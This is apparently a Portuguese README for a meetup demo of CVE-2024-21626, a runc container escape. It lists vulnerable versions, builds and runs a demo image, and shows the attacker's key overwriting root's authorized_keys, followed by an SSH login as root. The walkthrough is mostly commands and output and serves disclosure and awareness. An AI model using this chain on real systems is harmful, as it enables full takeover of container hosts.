
Demonstração para a LT do Container Runtime Meetup #5
Demonstração para o LT do Container Runtime Meetup #5. O objetivo é divulgar o perigo do ataque com base em informações públicas, sendo estritamente proibido o uso indevido.
Máquina registrada como victim-server no ssh_config do laptop da demonstração.
ssh victim-server
Informações de versão como pré-condição para sofrer o ataque:
ubuntu@victim-server:$ docker --version
Docker version 20.10.25+dfsg1, build b82b9f3
ubuntu@victim-server:$ runc --version
runc version 1.1.10+ds1
commit: 1.1.10+ds1-1
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4
Similarmente
ssh attacker-server
ubuntu@victim-server:~$ git clone [email protected]:laysakura/CVE-2024-21626-demo.git
ubuntu@victim-server:~$ cd CVE-2024-21626-demo/
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker build -t myimage .
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker run -it myimage
/root/.ssh/authorized_keys é substituído pela chave pública do atacanteOriginalmente não intencionado, então aqui não fazemos nada, mas mostramos o comando para verificar a situação.
ubuntu@victim-server:~$ sudo cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPHHGSytV6bL1ryaEKE9XNWN23piXdzsI3Rzxe20IF6 ubuntu@attacker-server
attacker@attacker-server:~$ ssh -i .ssh/id_ed25519 root@victim-server
root@victim-server:~# id
uid=0(root) gid=0(root) groups=0(root)